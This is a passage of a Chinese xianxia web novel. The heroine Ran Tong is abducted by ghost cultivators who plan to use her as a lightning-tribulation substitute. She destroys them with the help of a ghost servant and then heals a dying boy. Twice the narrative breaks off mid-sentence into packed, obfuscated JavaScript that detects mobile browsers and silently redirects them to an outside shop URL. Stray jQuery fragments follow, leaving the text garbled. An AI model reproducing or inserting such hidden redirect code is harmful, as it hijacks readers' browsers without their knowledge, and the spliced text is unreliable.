不久,开始有虫子肆无忌惮钻进衣领袖口,在她体表爬行,还有的试图爬进眼耳口鼻,麻痹感反而起到保护作用,否则她的心理防线定会加速崩塌。 一动不动瘫了半个多时辰,西面刮来一阵阴风,两道人影降落在她身旁。一个尖细的女音先失望道:“是个小丫头啊,才胜境修为,多半不济事。” 另一人接话:“先测测灵根再说。” 这是个年轻男人,岁数和那女子差不多,暂时听不出二人是什么关系。 男人靠近冉彤,将一枚硬物贴到她额头上,估计是五行珠之类测试灵根的法器。 稍后二人齐声欢呼。 “是雷灵根!属性还很纯!” 现场亮起绿油油的光,男人揪住冉彤衣领,将她的上半身拎起来面对自己。 冉彤看到一张瘦削惨白的脸,俊秀五官在绿光映照下比寻常丑八怪更骇人。 旁边的女子容貌冶艳,右手托着一团绿色火焰,照得她眼眶下两抹黑气格外显眼,像用炭笔画出的眼影。 冉彤再看那男人,下眼眶也黑黢黢的。 凭这一特征可知他俩是夺舍后的鬼修,由于躯壳不能完全和他人的灵体融合,凡鬼修夺舍后下眼眶都会呈现不同颜色的煞气。又因为鬼修不入轮回,逆天行事,历来为正道所不容,见则诛杀,致使鬼修们在人前活动时都需用修容术小心掩盖煞气。 此刻这二人未掩饰身份,说明他们没把冉彤放在眼里,也不打算让她活命。 端详过她的形容后,男人搜走了她的储物袋,正想打开查看,女子催促:“过会儿再看不迟,快把人带回去给老爹瞧瞧,他肯定很高兴!” “那你先回去报信,我检查一下这丫头有没有同伙。” “行,你可快点啊。” 女子急着报喜,留下照明的鬼火,化作青气逝去。 男人等她去远了,奸笑着打开冉彤的储物袋。 冉彤见状料到他想藏私,眼睁睁看自家法宝逐一落入他手。 男人对丹药和不夜珠不太感兴趣,看到凝魂珠、摄魂珠、玄鳌灵甲才喜出望外,等发现神木牌时更露出欣喜若狂的表情,即刻警惕地看向冉彤。 背着自家人干坏事最怕落把柄,冉彤机敏地提前闭眼装虚弱,躲过对方查看,靠听力仔细捕捉他接下来的举动。 男人在左近挖了个小坑,埋好神木牌,将其余物件装回储物袋,用阴风卷起冉彤向西飞去。 鬼火熄灭,冉彤又变成睁眼瞎,狂风呜呜地往她耳朵里灌,吹得她脑壳疼。 不多时眼前出现渐行渐亮的灯火,她随风飘进一户庄园,穿过门扉,不轻不重摔在青石铺就的地板上,随着惯性打了两个滚,被一只套着大红绣花鞋的纤足抵住左肩,停顿平躺。 她定睛瞧见那那女鬼修正低着头冲她奸笑,正常灯光下看真是个姿色上乘的二八佳人,皮肤光滑如玉,吹弹即破。 听说女鬼修喜食男子精血来维持光艳的皮囊,这女鬼气血如此旺盛,想必石榴裙下冤魂无数。 “老爹,就是这丫头,您快瞧瞧中不中用。” 一个六十多岁,身穿黑色道袍,留一把花白长须,老学究打扮的男人很快出现在冉彤视野右侧。 这老头儿细眉细眼,口鼻端正,面相很儒雅,眼眶下的黑煞不明显,若非那对绿光闪烁的眼珠子,倒像个文质彬彬的学者。 鬼修修炼到化境,眼瞳便会流溢精光,冉彤不靠神识探查已确定此人的境界至少在化境中期以上,即便她没中毒也斗不过。 老头儿瞅了冉彤一眼,面露惊疑,吩咐绑架他的男鬼修:“梅儿,把她扶起来让为父仔细瞧瞧。” 那叫梅儿的男鬼忙施法将冉彤竖立起来,冉彤赶紧观察环境。 这是间格局宽敞的堂屋,构造陈设和普通富户差不多,除一老二少三只鬼,门外还站着一个仆人打扮的少妇,冉彤眼珠转向她时,她也正朝这边偷瞄。 那老鬼走近冉彤,盯着她的脸稍加辨认,笃定道:“为父昨日去南郡,在城里看到离恨天新张贴的通缉令,上面有这女娃子的画像。” 说罢问冉彤:“姑娘,你是不是姓冉名彤,母亲是‘碧游仙子’柳飞绵,父亲是‘湖山先生’冉鸣玉?” 冉彤听说离恨天的追捕令已延伸到了百花州,暗自叫苦。若侥幸逃出这个鬼窟,等待她的也将是无边罗网。 女鬼提醒老鬼:“她中了‘蚰蜒香’,您先帮她解毒,她才能说话。” 老鬼从右边大袖里掏出一个四寸长的小葫芦,拔开塞子将葫芦口放到冉彤鼻孔下晃了晃,一股辛辣苦涩的气味直透冉彤脑门,她狠狠打了几个喷嚏,麻痹感尽去,身体立马复原了。 梅儿呵斥:“丫头,我爹问你话呢,还不老实回答。” 冉彤牙关紧咬,不予理会。 梅儿要用强,被老鬼制止。 “先给为父看看她随身带的东西。” 梅儿赶忙交出储物袋,老鬼只检查两样便大笑:“错不了,这青龙行气丸是烈阳冉家的独门丹方,还有这颗摄魂珠,也是那通缉令上注明了的。” 梅儿喜道:“这么说这丫头是柳飞绵的女儿了,怪不得身具如此精纯的雷灵根。” 女鬼接嘴:“可惜修为太低了,老爹您看有没有办法尽快帮她提升修为啊?” 老鬼让他们别嚷嚷,右手捏了个巽文决,向冉彤施法。 冉彤的内丹立刻躁动,仿佛千百支鼓槌敲击丹田,她痛闷难当,大叫一声释放出数道雷电,整座屋子在雪也似的强光中炸裂了。 雷声过后四下漆黑,静夜里回荡着残垣断梁的倒塌声,浓厚烟尘逼人窒息。 冉彤没能趁乱出逃,她的身体只自由了一霎便被更强大的怪力束缚。 雷暴停息,身旁燃起鬼火,那女鬼后怕地大声娇嗔:“老爹真是的,也不事先打个招呼,把我害死了,就专心让您的宝贝儿子孝敬您吧!” 梅儿连忙训斥:“杏姑你越来越没规矩了,老爹做法时专为我们开了护盾,几时害你了?” 原来他俩是兄妹。 世间少有全家人集体修鬼道的,冉彤猜这一家三口并非血亲,梅杏二人是后来依附到老鬼门下的。 正想着,老鬼忽然兴高采烈大笑,好像方才的雷暴比节庆时燃放的鞭炮更吉利。 “这丫头体内有祖辈传承的内丹,真天助我也!” 冉彤听出歹意,终于急怒吼问:“你们是什么人?想对我做什么!?” 梅儿刚才受的惊吓比杏姑还多,憋不住朝冉彤撒气:“臭丫头,再乱叫我先割了你的舌头!” 老鬼啧嘴拦阻,靠近冉彤,和颜悦色道:“姑娘切莫将我等当做恶人,老夫为躲避仇家才带着儿女隐居于此,今夜相逢可谓有缘啊。” 好人怎会在灵果里下毒,又绑架中毒者? 眼下硬碰硬实非明智之举,冉彤忍着没拆穿他, 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老鬼向梅儿杏姑使个眼色,兄妹俩齐出手,一个撬开冉彤牙口,一个往里灌酒,还压着她的舌头不许她呕吐。 那酒异常甜腻,夹杂浓郁血腥,口感粘稠,像加了蜜糖的生血。 冉彤被强迫着一滴不剩地饮下,酒液入喉,直接散入经脉,再于丹田内凝结。俄尔,小腹中似升起一团火球,忽上忽下,从尾闾上冲中丸宫,顶动心神。 她头重脚轻,没人拽着便站立不稳。 “此酒药性猛烈,不赶紧疏导吸纳,你的五脏六腑都会被它撑破。” 老鬼拿真话恐吓冉彤,料定她会乖乖听话,取出一条绳索在她身上缠绕几圈,做法打了个结。而后扭头使唤那躲在废墟里的仆妇:“张妈,扶客人去静室歇息,这几天好生伺候着,不得出差错。” 那张妈慌忙应声,快步过来用阴风托起冉彤,将她送到一间清净的斗室,放在蒲团上。 冉彤拼命运功对抗药性,无暇旁顾。 那“龙血醉”是能增强修为,可低阶修士根本承受不住这么大的剂量,好比给幼苗施加浓肥,很可能将植物活活烧死。 她没了神木牌加持,仅靠本身力量挺不过去,挣扎半晌,七窍开始渗血。 张妈寸步不离守着她,见状忙去禀报主人。 老鬼一家赶来,见冉彤满脸是血,气息紊乱,血脉颠倒,已然命在旦夕。 杏姑埋怨老鬼:“您明知这丫头修为低,还一口气给她喝那么多,弄死了上哪儿找替换的?” 老鬼比她更急:“你当时怎不提醒我?只会马后炮!快,帮我护住她的心脉,一定不能让人死了!” 在他带领下,三人协手辅助冉彤炼化药性,中途又给她灌了几种保命的丹药。 得外力帮扶,冉彤慢慢疏散吸收药力,时昏时醒地过了五天五夜,状况渐驱平稳,不再需要三只鬼护法也能自行炼化余下的药酒了。 张妈一直兢兢业业照顾她,但五天里都默不做声,比哑巴还安静。 她身上毫无生气,只有一些微不足道的灵力,想是死后被鬼修们抓来做奴隶的。 冉彤时常发现张妈在悄悄观察自己,又凭直觉判断她不是坏人,打算找机会拿这大婶做突破口,寻求逃生可能。 奈何三鬼看得紧,未敢轻率行动。 第七天早上,张妈匆匆跑来,跪到她跟前低声急呼:“三小姐,我是原先住在你家对面的张丽娘,你还记得我吗?” 冉彤儿时对门邻居是一户姓张的凡人小官吏,他家夫人名唤张丽娘,听说三年前骑马摔死了。 冉彤诧讶地望着女人陌生的脸:“我还记得张大娘子的相貌,跟你完全不同啊。” 张妈滴下一串泪,一边拈袖擦拭一边说:“当年我因针线活儿做得好,入了那杏姐儿的眼,她有意做法让我的马受惊将我活活摔死,而后把我的魂魄摄来这里服侍他们一家。那老鬼姓陆,人称陆山君,已在此盘踞三百年。南面九十里的苍溪还住着他一户鬼亲戚。今日他领着梅哥儿杏姐儿去窜门,我才敢来与你相认。” 她见冉彤将信将疑,便双手抠住耳背。 “凡人的魂魄没有形体,你看我模样变了,是因为我现在披着别人的皮囊啊。” 说话间面皮松脱,脑腔里窝着一些淤泥状不成人形的青气,是人类的死魂。 冉彤知道在她出生前,张丽娘的三个儿子都差点死于瘟疫,全靠柳飞绵善心施药救活。 修真界与凡人泾渭分明,除遇妖邪鬼怪,修士通常不会插手凡人的生老病死。 柳飞绵素好扶危济困,不论仙凡,当救则救。张家知恩图报,自那以后常来送礼致谢,冉彤搬去 伯父家后每年仍派人来拜望。 有这层关系,冉彤相信张丽娘不会害她,忙问:“张大娘子,你知道陆老鬼为何抓我回来吗?” 张丽娘正为此事着急。 “那老鬼即将渡劫,急需一个雷灵根的修士替他承受天雷,找了一两年才相中你,你不赶紧设法逃跑,就要去遭那天雷击顶的大难了。” 12.渡劫 鬼修们多修六壬阴阳道,修为越高,累积的阴邪之气越盛,往往在进阶极境前夕引动雷劫,即使是死后改修鬼道的极境修士也躲不过天道惩罚,最终都难逃五雷轰顶,魂飞魄散的下场。 也有少数鬼修例外,这些人都采取了同一方式渡劫:找替身。 冉彤提前做了最坏设想,闻讯还不至于太慌乱。 张丽娘想替她解开绳索,碰到绳结双手便痛如刀割,惊叫:“这绳子也是件法宝吗?” 冉彤苦闷:“这绳索是用化形蛟龙的背筋炼制的,我试过根本挣不开。这屋子也被他们布了法阵,凭我现在的能力是出不去的。张大娘子,只有你能救我。” 张丽娘万分焦急:“我是想救你啊,可我只跟杏姑学了些低阶搬运术,别的都无能为力。你若有法子快些教给我。” 冉彤这几日清醒时都记挂着神木牌,只恨无人代为寻回,此时张丽娘犹如天赐救星,她忙请求:“那日我被捕时梅哥偷拿了 我的神木牌,埋在那丛有毒的醍醐蓬蘽附近,你帮我去把它找回来,有了那件法宝我就能挣脱绳索逃出去。” 张丽娘猛点头,又犯难:“他们在林子里种了好些醍醐蓬蘽,你还记得那地方有什么特殊的标志吗?” 冉彤想了想:“我只记得我是从东边过来的,醍醐蓬儡长在一棵三人合抱的含笑树下,你往东去找找看吧。” 张丽娘答应着去了,稍后拿来一个绢布包。 “上个月他父子三人带回一头死掉的白泽兽,说是从某个邪修手里抢来的。他们取走泽兽内丹后将尸体扔给我收拾,我在泽兽肚肠间找到一小块内丹碎片,想是他们取丹时落下的。” 白泽是妖族里生命力最强的灵兽,修炼五百年以上的泽兽内丹能治百病,因此自古便被人族大肆捕杀,少有能活到化形的。 这使得白泽部族日益衰落,越发任人宰割,几万年恶性循环下来,如今濒临灭绝,偶尔有一头现世便会引来众人哄抢。 这头泽兽落到陆山君手里时已经死了,腹中内丹四分五裂,陆山君取丹时没注意脏器间还藏了一块碎片,叫张丽娘捡了个大便宜。 张丽娘试图用这便宜搭救恩人的女儿。 “听说白泽内丹能救逆回阳,你把这碎片含在嘴里,到紧要关头吃下去,兴许有用。” 冉彤感激道谢,将丹片藏于舌根下。 张丽娘外出寻找神木牌。她不会飞行术,步行寻找很吃力,又惧怕陆山君一家提前回来,不敢耽搁太久,这一日终究无功而返。 傍晚老鬼小鬼到家,她不能再和冉彤说话,警惕地靠眼神传递信息。 冉彤得知她没找到神木牌,不禁失望着急,所幸陆山君在等她炼化“龙血醉”,还能拖延一阵子。 她几经生死磨难,心态被锤炼得十分坚强,有了待嫁前几日那种朝不保夕的经验做铺垫,这次还能忍受等死的煎熬,同时做着两手准备。 那揠苗助长的“龙血醉”已变成助她提升修为的功臣,她被强行植入母亲的内丹后暴涨的灵力得不到有效控制,有神木牌辅助才勉强压制住。 这几天吸纳“龙血醉”的药力,自身灵力大幅提升,能够驾驭洪水般泛滥的丹力了,修为也一口气提升到胜境中期,少说节省了二十年修行。 天巫族人有将天雷之力转化吸收的接引秘术,柳飞绵当初教过她口诀和要领,还曾多次亲身示范过。 娘说她在净境后期就能成功运用接引术了,虽然我目前的修为还差很多,那天劫的威力也比寻常天雷强数十倍,可真到了万不得已时,这便是唯一能帮我保命的法门,我必须努力一试。 陆山君要拿她替死,表面功夫自然做到家,每日都供应美味的灵果,还传授她一门行气运化的高级功法,以便她尽快炼化药酒。 倏忽又过去五天,冉彤已完全吸收“龙血醉”,这日陆山君再次领着儿女外出,张丽娘赶紧通知冉彤。 “昨儿我听他们议论,说等雷劫过后就把你的内丹取出来炼成法宝,你无论过不过得了这关,他们都会杀了你。可是我至今还没找到神木牌,这该如何是好?” 搜寻范围太大,杏姑还不时使唤她,数日来她提心吊胆,一有空隙便跑进森林找东西,腿脚都磨破了。 人皮不能自行愈合,她怕被鬼修们看出来,用针线缝合伤口,心慌日胜一日。 “那法宝会不会已经被梅哥取走了?没了它,你还能逃出去吗?” 冉彤知道张丽娘已竭尽全力,反过来安抚:“我还留了后手,至少有两三成把握,再不济也要拉着那帮恶鬼一块儿完蛋。烦劳你继续去找,实在找不到我也认命了。” 三只鬼于黄昏返家,齐来静室查看。 陆山君仍装得和蔼可亲,问冉彤:“冉姑娘,我看那摄魂珠是件难得的稀罕物,你是从哪儿得来的?” 他一开始便在意此事,拿着珠子去找鬼亲戚研究了半晌没瞧出来历,想在冉彤死前套话。 冉彤为吓唬他临时编说辞:“你那日在城里看到通缉令,上面是不是说我勾结魔道?摄魂珠就是那位魔道前辈送我的。” “是哪位高人啊?” “不知道,她不肯透露名姓,我也不敢多问。” “这么说你们并不熟悉,她为何舍得赠你如此贵重的法宝?” “我答应用我伯母的神木牌交换。” 她提到神木牌,陆山君和杏姑双眼发亮,梅哥登时失慌,表情僵了一霎。 陆山君装腔作势道:“神木牌可比凝魂珠更稀罕,世上只存了寥寥数块,居然被你得到了,运气实在是好哇。” 杏姑按捺不住问:“那你把神木牌给那个前辈了吗?” 冉彤摇头,淡定道:“那法宝就装在我的储物袋里,你们应该看到了啊。” 陆山君眼珠转向梅哥,厉喝:“孽障,你还当起家贼了!” 梅哥怎敢认罪,竭力狡辩:“老爹息怒,那储物袋孩儿到家前就没打开过,委实没见过什么神木牌啊!” 杏姑同样疑心他,斥责:“你还不老实!那日我先行一步,你说要看这丫头是否有同伙,隔了一会儿才回来,多半在偷空藏东西。快把神木牌交出来,否则我先替老爹教训你!” 梅哥急得赌咒发誓:“若真像你说的那样,管教我天诛地灭!你们不信尽可去我屋里搜一搜!” 杏姑先不客气地在他身上搜了一遍,再去别处搜查。 陆山君像停在树上的老枭,阴森森沉默着。 冉彤看梅哥唬得缩头缩脑,暗自解气。不过她的最终目的是试探梅哥是否已将神木牌带回家,如果是,定会被搜出来。 过了一炷香时间,杏姑气冲冲回来禀报:“孩儿上上下下搜遍了,连他日常藏东西的地方也没放过,没找着什么。” 梅哥松了口气,转身怒骂冉彤:“就说我是清白的,分明是这丫头撒谎挑拨!” 冉彤冷笑:“你们觉得单靠我这点修为,没神木牌加持,能躲过那么多高手追杀,逃出枫林州吗?反正我中毒前神木牌还在身边,之后去了哪儿就不知道了,还望你们想办法替我寻回来。” 杏姑对陆山君说:“可能在林子里,我去找找看。” 听了她的话,不止梅哥,冉彤也急。真教她找着了,两个人都要倒霉。 幸好陆山君没答应,说:“不急,过了今晚再说。” 他收起冷脸,笑眯眯哄冉彤:“冉姑娘,前日老夫请你帮我办的事就应在今夜。你无论如何不能推脱。” 冉彤假意道:“我问过你三次你都不肯说,现在该告诉我了吧?” 陆山君辩解:“老夫不提前说是防你害怕,不能专心炼化那龙血醉。如今你大功告成,便没什么好顾虑的了。你是世家子弟,该晓得我们鬼修生活坎坷,境界提升到一定程度便遭天打雷劈。老夫好容易熬到化境后期,今晚就能功行圆满进阶极境,皆时必将引动天雷,你是天巫族人,灵根出众,正好助我化解此劫。” 杏姑看冉彤反应平静,以为吓傻了,调侃:“看不出你胆子还挺大的,这时候还稳得住。” 冉彤冷嗤:“早在被你们抓来时我就料定没好事,后来你们逼我喝药酒,助我练功,我就更加明白你们想要我这条命做回报了。” 陆山君欣赏这份伶牙俐齿,乐呵道:“无怪乎你小小年纪就登上离恨天的通缉令,这做派倒很对老夫胃口。你既然明白了,那我们干脆把话说开,其实今晚你也不定会死,老夫承诺只要你能扛下天劫,事后老夫便收你做干女儿,教你法术,传你衣钵。” 杏姑大怒,放声娇嗔:“老爹,您到底要收几个女儿啊?咱们不是说好如何处置她了吗?” 陆山君哄劝:“此一时彼一时,老夫觉得这女娃子资质难得,想用心栽培她。” 嘴上一套,又用传音入密术晓谕杏姑梅哥:“这女娃能在这么短的时间内炼化龙血醉,足见天赋异禀,若能活下来加以培养,日后为我所用,我们一家就再不担心天劫了。她被离恨天通缉,普天下再无立锥之地,不愁她不乖乖归顺我们。” 杏姑忍气默许,梅哥殷勤地替父亲训话:“丫头听见了吗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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冉彤说:“我的功力今非昔比,又掌握了你传授的行气秘诀,这一口酒顶多一个时辰便能炼化。若拖久了,你可施法逼我吐出残酒。” 陆山君妥协,取出葫芦和小酒杯,倒了一口的量喂她。 冉彤嫌少,又要了一杯,然后专心运功,只过去半个多时辰已炼化完毕,体内灵力充沛,心里踏实了三分。 陆山君见状亦喜,这好苗子养成了顶得上高级法宝,但愿能活下来。 他安顿好冉彤,进入一旁的五行循环阵,于阵眼处盘膝坐定。 梅哥杏姑分坐两旁为其护法。 两座法阵同时开启,陆山君催动功力冲击极境。他早已修到化境后期大圆满,随时可以晋级。 大量阴气上涌,晴朗无云的天空转眼黑云压顶,周围阴风怒号,草木东倒西歪,禽鸟兽类逃散无影,虫类紧急钻进泥土树洞,仓皇应对突如其来的灾变。 云缝里爬出条条银蛇,天边传来地震似的的雷鸣。 冉彤毛发森然,心尖抖颤,浑身鸡皮乱涌,但比起那晚在古城废墟的见闻,眼前的场面只算小巫见大巫。 拼了! 她咽下白泽丹片,凝神聚气,灵力喷薄而出,随风乱舞的发丝衣摆扭得更疯更放肆,仿佛激流里的水草,根系始终是稳固的。 旁边陆山君也到达了进阶的临界点,跨越壁垒的瞬间,云层中探出一道利剑般的霹雳,径直劈向冉彤顶阳骨。 冉彤掐准时机启动接引术,将雷力导入体内。 这举动相当于一只羽翼未丰的雏鸟在万丈悬崖上学飞,危险至极。 雷力抵达的刹那仿佛整片天都塌在她身上,体内江河倒卷,山崩地裂,元神落在破碎边缘。 天劫之力果然霸道,凭她休想克化掉。 得亏天巫族还有另一项秘术,能将吸收不了的雷力中转输出,她之前打的就是这主意。 害我者都不得超生! 她像伤兽嘶声咆哮,将痛苦、愤怒融入万钧雷霆发泄出去,直扑那三只恶鬼。 陆山君始料未及,法阵立时被雷劫攻破。 鬼修最怕雷电,躲无处躲,挡又挡不住,连躯壳带魂体都被电光撕碎了。 冉彤吐血倒地,她的身体同遭重创,灵力不断外泄,丹力趁机反噬,再难遏制。 她急需疗伤的丹药,挣扎着爬行,憋出满身大汗也只移动了两步远的距离。 更坏的情况旋即降临,三鬼葬身的地点慢慢升起一股黑气,聚敛成张牙舞爪的魂体。 陆山君并未消亡,梅哥和杏姑也各自留下一缕残魂,断头蚯蚓般原地翻滚,随后被陆山君的魂体吸收。 老鬼用儿女的残魂修补伤势,发出咬牙切齿地嘶吼。 “妖女竟敢暗算老夫,马上给我的孩子们偿命!” 13.行善 陆山君收养梅哥杏姑两百多年,悉心栽培护持,投入心血良多,实指望进阶极境后靠他们辅助修炼夺天地造化的重生功法,这下偷鸡不成倒蚀米。 更甚者,雷劫过后他的境界骤然掉落至净境,几百年修为毁于一旦,纵使将冉彤食肉寝皮也难释这滔天之恨。 冉彤连招架的力气都不剩,这时豆大的雨滴倾盆而下,瘫软的她像湿透的羽毛牢牢黏在水洼里,眼看凶险步步逼近。 再有一点灵力就好了,这老鬼已是强弩之末,发动一次天罡真雷准能劈死他。 可是上哪儿去找这份救命的灵力呢? 她这边画饼无望,陆山君疗伤的进程却很快,不久即可实施报复。 “谁在那边!” 冉彤听老鬼厉吼,发觉左前方四五丈外的大树后猫着个人影。 “是我!” 听到张丽娘的声音她惊疑不定,亦喜亦忧,抬头见她怯生生穿越雨幕靠近现场,走动中向陆山君解释。 “奴婢听到雷响,担心老爷和少爷小姐,忙跑来查看。” 昏天黑地,她走到近处才看清倒地的冉彤和已化作黑烟的陆山君,惊叫着左顾右盼。 “老、老爷,您怎么成这样了!?” 陆山君愤恨道:“少爷小姐都教这妖女害死了,连老夫也差点栽在她手里。你快用这条毒龙锁穿了她的琵琶骨,看老夫随后如何炮制她。” 他从落地的储物袋里取出一根黑色的细锁链扔给张丽娘。 张丽娘正好借机靠近冉彤,接住锁链快步走向她。 “慢着!你怀里藏了什么!?” 陆山君突然感应到张丽娘身上存在异乎寻常的强大灵力,显然是罕见的重宝,老奸巨猾的他立刻洞察有诈,认定这吃里扒外的女奴在照顾冉彤期间与之勾结,当即痛下杀手。 张丽娘反应也快,听到老鬼吼叫立马掏出刚刚找到的神木牌扔向冉彤。 木牌离手之际,她的身体被风刃拦腰斩断,那决定成败的法宝凌空飞行,就快被陆山君的灵力捕获。 生死攸关,冉彤再度潜能大爆发,狠命纵身跃起四尺,抢先咬住神木牌。灵气灌注,她即时恢复法力,落地前尽力释放真雷。 金光撕裂雨帘夜幕,爬满锯齿的树杈形闪电将陆山君的魂体扯成絮状,坠落融化在雨脚里,这下彻底死透了。 冉彤畅快解气,狂笑两声想起张丽娘。 “张大娘子?张大娘子!” 张丽娘的皮囊破了,暴露的魂体受到她的法力辐射。 凡人的死魂如何当得起真雷威压,一缕青气若聚若散地伏在人皮上,就快步鬼修们的后尘。 冉彤忙运功破解缚体的绳索。 她不乱挣那蛟龙筋和一般绳子无异,一用力绳索便不断收紧,直朝皮肉里勒,转眼磨得她皮开肉绽,鲜血混着雨水染出一汪血泊。 疼痛钻心也得忍着,绝不能连累恩人丧命。 她目眦尽裂,十指透爪,痛叫着奋力挣断蛟龙筋,扑爬拾起张丽娘的魂体,飞速赶回庄园,释放神识找到被鬼修们抢走的凝魂珠。 “张大娘子,我一定能救活你。” 她将凝魂珠放在张丽娘的魂体中,施法催动珠子。 凝魂珠功效强大,修复凡人的魂体轻而易举,片刻后张丽娘散溢的魂体重新聚集,渐渐恢复意识。 “三小姐,那老鬼死了吗?” “死了,全死光了,现在我们安全了。” “谢天谢地,谢天谢地。” 她俩相互感恩道谢,不敢细想方才的经历,假设彼此的动作稍微慢半拍,后果都将截然相反。 此地不宜久留,冉彤打算就地搜刮一批资材后离开。 张丽娘领她来到庄园东侧的地下宝库,地窖共有两间,一间收藏宝物,另一间墙壁上层层叠叠悬挂了数百张人皮,是鬼修们积年搜集的猎物。 张丽娘挑了一张年轻女人的皮,抖了抖披在身上,立刻变成二十多岁的少妇。 “这换皮术有高低之分,杏姐儿只教了我最简单的,据说高级的用途更广。我看那外面的书架上有很多书籍,换皮术或许就藏在里面。” 换皮术比障眼法实用,冉彤寻思:离恨天到处通缉我,抛头露面太危险,若学会换皮术就安全多了。 靠神识寻物很方便,她找到那本用人皮装订成册的换皮术秘笈,一看用处还真多。 不仅能换皮,还可以复制原主的声音,完全遮盖自身气息,指甲毛发也会像活人一样正常生长,若灵力充足,启动神识隔绝,极境中后期的修士都难以辨别真伪。 我有神木牌,灵力管够,披上别人的皮谁都认不出了。 张丽娘说:“杏姐儿有时也换皮,她最喜欢的美女皮是从一位女修士身上剥下来的,听说那仙姑修为还不低呢。” 她们在杏姑的闺房里找到那张雪白的人皮,五官平铺着也能看出闭月羞花之貌。 冉彤检查后判断这可怜的女修最多只活了一百岁,生前已达臻境,年少有为,着实可惜。 修士的皮比凡人结实耐用,她将这张皮收入囊中,返回平岗拾取陆山君一家的储物袋。 鬼修们的练功路数和她不同,大部分功法秘笈、法宝丹药她都用不了,最后只选出几样器具和一些炼丹制药的原料,包括白泽兽的内丹。 此物不愧为绝世灵药,先保她遭雷击不死,后被蛟龙筋勒割,随着丹片生效,内外伤都迅速痊愈,剩余的内丹还能用上十几次。 金银财宝堆积如山,可惜储物袋容量小,只够再装五百两金子,还得压缩出一点空间存放衣物和日用品。 凡鬼不宜久居人间,冉彤建议张丽娘尽快去地府报到。 张丽娘想先回烈阳看望丈夫孩子,打包了两张备用人皮和一些金银细软做盘缠。 冉彤为她画了十几张保命符箓,能对付野兽坏人和低阶妖兽。 “此地距离烈阳路途万里,你尽量走偏僻小道,少与人接触,被正邪两道修士撞见都很危险。” 她和张丽娘患难之交,同病相怜,分别时悲伤不舍。 张丽娘问她:“三小姐,你可有话跟家里人说?我若能平安到达烈阳,定去替你传话?” 冉彤决然摇头:“我已和冉家断绝关系,你不用为我犯险。” 张丽娘很好奇她为何沦落至此,之前没机会问,如今仍难启齿,诚恳安慰:“你们仙家的事轮不到凡人插嘴,但令尊令堂都是大好人,你也一样,善有善报,我相信你终会时来运转,还请你千万珍重啊。” 她听陆山君说冉彤入了魔道,坚信她有冤情,但又恐她年少气盛,经不起挫折误入歧途,于是委婉勉励。 冉彤明白好意,感动地点了点头。 此番这个善良的女人救了她的命,同时挽回了她对世道的信心,“善恶报应”真实不虚,她终有一天能为父母申冤雪恨。 她连夜离开庄园继续朝西走,森林绵延无际,飞出两三百里仍看不到尽头。 月落星残,黑暗在黎明前短暂称霸又匆匆逃遁,淡金色的曦辉照在树叶草间凝起的薄霜上,树枝间投下一道道纤细光线,跟随攀升的日头缓慢移动着。 这是逃亡以来冉彤第一次有闲心观赏风景,她望着眼前的流水光阴,联想到自家飘萍般的境况,惆怅挤开其他情绪,在心底夺得一席之地。 曾经她想象中的独立类似幼年学步,跌跌撞撞向前走着,身后有亲人们周全的保护和热忱鼓励,绝非眼下这种众叛亲离,茕茕孑立的情形。 天大地大,往后都只能孤身上路了吧,还能遇到肝胆相照的知音,与她共同抵御世态炎凉,风刀霜剑吗? 她禹禹而行,不觉又行进了十余里,周围植被更茂密,树冠重叠,遮天蔽日,四下昏黑,仿佛重回夜晚。 一股奇特的灵力侵入神识,她赶忙落地隐蔽,小心侦查。 正北方百丈外有一座围绕老树布置的法阵,阵内有人,是个奄奄一息的小男孩。 她提防再遇陷阱,翼翼观察了好一阵。 那靠坐在大树根上的孩子秀美可爱,瞧着约摸五六岁,一头及肩软发比七八十岁的老人还白,印堂处淤积一点黑气,嘴唇呈青紫色,若非中毒便是重病缠身。 冉彤将神识投放到最大范围,没发现其他人迹,便飞身来到那法阵前。 “小兄弟,你听得见我说话吗?小兄弟?” 她低声呼唤两遍,男孩双眼各自隙开一条缝,看了看她又紧紧闭合。 见他还有知觉,冉彤忙问:“你受伤了吗?谁把你困在这儿的?” 男孩再无反应,她试着触碰法阵,指尖似火灼烧,急忙缩回。 这法阵是防御性质的,想是小男孩的亲友暂时离去,布下此阵保护他。 冉彤感觉阵法所含的灵力有些古怪,怀疑来路不正,想着走为上策,抬脚时不经意地瞥见小男孩的鼻孔淌出两行血水。 飞出数里,这幕画面仍扎根脑海,越钻越深擒住她的良知,思忖:当年我娘行善救了张家儿子,方有后来张大娘子救我的善果,足见施恩报恩都是老天赐福。今日我见死不救,恐触怒上苍,来日遭受恶报便悔之无及了。 她立定善念,当即旋身飞回法阵前。 男孩的衣襟浸透血水,气息脉动若有若无,魂魄快要离体。 冉彤必须与死神赛跑,运功数次攻不破那法阵便剑走偏锋,穿上玄鳌灵甲,用天罡真雷包裹身体后硬往里闯。 天罡真雷媲美神力,法阵硬是被她撞开一道口子,也给了她相应的还击。 冉彤像从刀板上滚过,浑身上下被扎了无数窟窿,有一处擦伤贴着心脉,再偏一点管教她当场毙命。 她鲜血狂喷着摔在男孩身旁,赶紧取出一片白泽内丹吞服,配合神木牌疗伤,伤口愈合得很快,心悸还持续不断。 她有灵甲、真雷和神木牌防护仍受到致命伤害,此阵的布置者定然法力超群。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14301030|149507||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 此等高手都治不好这孩子,她真不该多管闲事。 来都来了,不看个究竟对不起这身伤。 她抱起男孩,用神识检查他的身体,明白他为何危重了。 这孩子的灵根严重枯萎,患有先天顽疾,按说出娘胎前就该死了。 他家里人一定用了很多方法为他续命,不知道白泽内丹管不管用。 她挑了一块较大的丹片用灵力打碎,混合露水灌进男孩嘴里,抬高他的下巴助其吞咽。 丹力迅速起效,男孩咳嗽几声,脉搏和呼吸明显有力了。 